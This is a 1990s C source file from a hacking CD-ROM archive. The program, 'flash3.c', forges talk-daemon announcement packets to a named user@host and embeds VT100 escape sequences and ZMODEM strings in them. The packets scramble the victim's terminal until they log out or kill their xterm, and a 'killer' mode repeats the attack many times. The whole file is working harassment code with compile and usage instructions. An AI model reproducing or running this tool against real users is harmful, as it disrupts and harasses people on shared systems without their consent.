home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / hacking / virriiorg / flash3.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-04-23  |  7.0 KB  |  299 lines
  1. /* flash3.c */
  2.  
  3. /* 
  4.    Modified from the original by Vassago. Superflash mods unknown.
  5.    Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub.
  6. */
  7.  
  8. /* 
  9.     This little program is intended to quickly mess up a user's
  10.     terminal by issuing a talk request to that person and sending
  11.     vt100 escape characters that force the user to logout or kill
  12.     his/her xterm in order to regain a sane view of the text.
  13.     It the user's message mode is set to off (mesg n) he/she will
  14.     be unharmed. 
  15.  
  16.     Try compiling with: gcc -o flash flash3.c
  17.  
  18.     Usage: flash user@host [<level>]
  19.    
  20.     Level is either the number or the word for these:
  21.       1)  BASIC  - Old flash, no zmodem. 
  22.       2)  ZMODEM - Old with ZModem.
  23.       3)  KILLER - 99 ZModem flashes. 
  24. */
  25.  
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <netdb.h>
  30. #include <stdio.h>
  31. #include <strings.h>
  32. #include <string.h>
  33. #include <ctype.h>
  34.  
  35. #define BASIC  1
  36. #define ZMODEM 2
  37. #define KILLER 3
  38.  
  39. #define FIRST "\033(0\033#8" 
  40. #define SECOND "\033[1;3r"
  41. #define THIRD  "\033[1;5m\033(0"
  42. #define FOURTH "**\030B00"
  43. #define FIFTH  "\033**EMSI_IRQ8E08"
  44.  
  45. /* Comment this to remove the debugging message... */
  46. #define INFOMESSAGE
  47.  
  48. /* this should really be in an include file..  */
  49.  
  50. #define OLD_NAME_SIZE 9
  51. #define NAME_SIZE    12
  52. #define TTY_SIZE     16 
  53. typedef struct {
  54.     char    type;
  55.     char    l_name[OLD_NAME_SIZE];
  56.     char    r_name[OLD_NAME_SIZE];
  57.     char    filler;
  58.     u_long  id_num;
  59.     u_long  pid;
  60.     char    r_tty[TTY_SIZE];
  61.     struct  sockaddr_in addr;
  62.     struct  sockaddr_in ctl_addr;
  63. } OLD_MSG;
  64.  
  65. typedef struct {
  66.     u_char  vers;
  67.     char    type;
  68.     u_short filler;
  69.     u_long  id_num;
  70.     struct  sockaddr_in addr;
  71.     struct  sockaddr_in ctl_addr;
  72.     long    pid;
  73.     char    l_name[NAME_SIZE];
  74.     char    r_name[NAME_SIZE];
  75.     char    r_tty[TTY_SIZE];
  76. } CTL_MSG;
  77.  
  78. int seed = 0x2837;
  79.  
  80. #define TALK_VERSION    1               /* protocol version */
  81.  
  82. /* Types */
  83. #define LEAVE_INVITE    0
  84. #define LOOK_UP         1
  85. #define DELETE          2
  86. #define ANNOUNCE        3
  87.  
  88. int     current = 1;    /* current id..  this to avoid duplications */
  89.  
  90. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  91. {
  92. static  struct sockaddr    addr;
  93. struct  sockaddr_in *address;
  94. struct  hostent     *host;
  95.  
  96. address = (struct sockaddr_in *)&addr;
  97. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  98. /* fill in the easy fields */
  99. address->sin_family = AF_INET;
  100. address->sin_port = htons(port);
  101. /* first, check if the address is an ip address */
  102. address->sin_addr.s_addr = inet_addr(hostname);
  103. if ( (int)address->sin_addr.s_addr == -1)
  104.     {
  105.     /* it wasn't.. so we try it as a long host name */
  106.     host = gethostbyname(hostname);
  107.     if (host)
  108.         {
  109.         /* wow.  It's a host name.. set the fields */
  110.         /* ?? address->sin_family = host->h_addrtype; */
  111.         bcopy( host->h_addr, (char *)&address->sin_addr,
  112.             host->h_length);
  113.         }
  114.     else
  115.         {
  116.         /* oops.. can't find it.. */
  117.         puts("Flash aborted, could not find address."); 
  118.         exit(-1);
  119.         return (struct sockaddr_in *)0;
  120.         }
  121.     }
  122. /* all done. */
  123. return (struct sockaddr_in *)address;
  124. }
  125.  
  126. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  127. {
  128. int     s;
  129. struct sockaddr sample; /* not used.. only to get the size */
  130.  
  131. s = socket(AF_INET, SOCK_DGRAM, 0);
  132. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  133. } 
  134.  
  135.  
  136. new_ANNOUNCE(char *hostname, char *remote, char *local)
  137. {
  138. CTL_MSG  packet; 
  139. struct   sockaddr_in  *address;
  140.  
  141. /* create a packet */
  142. address = getinaddr(hostname, 666 );  
  143. address->sin_family = htons(AF_INET); 
  144.  
  145. bzero( (char *)&packet, sizeof(packet) );
  146. packet.vers   = TALK_VERSION; 
  147. packet.type   = ANNOUNCE;   
  148. packet.pid    = getpid();
  149. packet.id_num = current;
  150. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  151. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  152. strncpy( packet.l_name, local, NAME_SIZE); 
  153. strncpy( packet.r_name, remote, NAME_SIZE); 
  154. strncpy( packet.r_tty, "", 1); 
  155.  
  156. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  157. }
  158.  
  159. old_ANNOUNCE(char *hostname, char *remote, char *local)
  160. {
  161. OLD_MSG  packet;
  162. struct   sockaddr_in  *address;
  163.  
  164. /* create a packet */
  165. address = getinaddr(hostname, 666 );
  166. address->sin_family = htons(AF_INET);
  167.  
  168. bzero( (char *)&packet, sizeof(packet) );
  169. packet.type   = ANNOUNCE;
  170. packet.pid    = getpid();
  171. packet.id_num = current;
  172. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  173. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  174. strncpy( packet.l_name, local, NAME_SIZE);
  175. strncpy( packet.r_name, remote, NAME_SIZE);
  176. strncpy( packet.r_tty, "", 1);
  177.  
  178. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  179. }
  180.  
  181. int rnd()
  182. {
  183.   seed *=0x1243;
  184.   seed = seed & 0xFFFF;
  185.   seed +=1;
  186.   while(seed>10000)seed-=10000;
  187.   return(seed);
  188. }
  189.  
  190.  
  191. pop(char *hostname, char *username, char *flashstring)
  192. {
  193.   char newflashstr[80];
  194.   int e = rnd();
  195.   sprintf(newflashstr,"%d%s",e,flashstring); 
  196.   new_ANNOUNCE(hostname, username, newflashstr); 
  197.   old_ANNOUNCE(hostname, username, newflashstr);
  198. }    
  199.  
  200. flash(int type, char *hostname, char *username)
  201. {
  202.      char firestring[10];
  203.      int x,y;
  204.  
  205.      current=0;
  206.      if (type == 3) y = 14;
  207.      else y = 1;
  208.  
  209.      for(x=0;x<y;x++)    
  210.      {
  211.     current++;
  212.     pop(hostname, username, FIRST);
  213.     current++; 
  214.     pop(hostname, username, SECOND);
  215.     current++;
  216.     pop(hostname, username, THIRD); 
  217.     if(type>1)
  218.     {
  219.       current++;
  220.       pop(hostname, username, FOURTH); 
  221.       current++;
  222.       pop(hostname, username, FIFTH); 
  223.       current++;
  224.       pop(hostname, username, FOURTH);
  225.     }
  226.     current++;
  227.     pop(hostname, username, FIRST); 
  228.      }
  229.     return(current);
  230. }
  231.  
  232. GetType(char *TypeStr)
  233. {
  234.     if (strcmp(TypeStr,"basic")==0)
  235.         return(1);
  236.     else if (strcmp(TypeStr,"zmodem")==0)
  237.         return(2);
  238.     else if (strcmp(TypeStr,"killer")==0)
  239.         return(3);
  240.     else if (strcmp(TypeStr,"1")==0)
  241.         return(1);
  242.     else if (strcmp(TypeStr,"2")==0)
  243.         return(2);
  244.     else if (strcmp(TypeStr,"3")==0)
  245.         return(3);
  246. }    
  247.  
  248. main(int argc, char *argv[])
  249. {
  250.     char    *hostname, *username; 
  251.     int     pid,type,name;
  252.  
  253.  
  254.     if ( (pid = fork()) == -1)  
  255.         {
  256.         perror("fork()");
  257.         exit(-1);
  258.         }
  259.     if ( !pid )
  260.         {
  261.         exit(0);
  262.         }
  263.     if (argc < 2) { 
  264.         puts("USAGE: flash user@host [<flash type>]");
  265.         puts("Types are: 1) basic, 2) zmodem, 3) killer.");
  266.         puts("Default flash type is zmodem.");
  267.         exit(5);
  268.     }
  269.     if (argc >= 3) {
  270.         type=GetType(argv[argc-1]);
  271.         if(type<1||type>3)type=ZMODEM;
  272.     }
  273.     else type=ZMODEM;   /* default */
  274.  
  275.     for(name=1; name<argc-1; name++)
  276.     {
  277.     username = argv[name]; 
  278.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  279.         {
  280.         puts("Aborted, invalid name.  ");
  281.         exit(-1);
  282.         }
  283.     *hostname = '\0'; 
  284.     hostname++; 
  285.  
  286.     if (*username == '~') 
  287.         username++; 
  288. #ifdef INFOMESSAGE
  289.             printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  290.             type,username,hostname,
  291.             flash(type,hostname,username));
  292. #else
  293.     flash(type,hostname,username);
  294. #endif
  295.     sleep(1);
  296.     }
  297. }
  298.  
  299.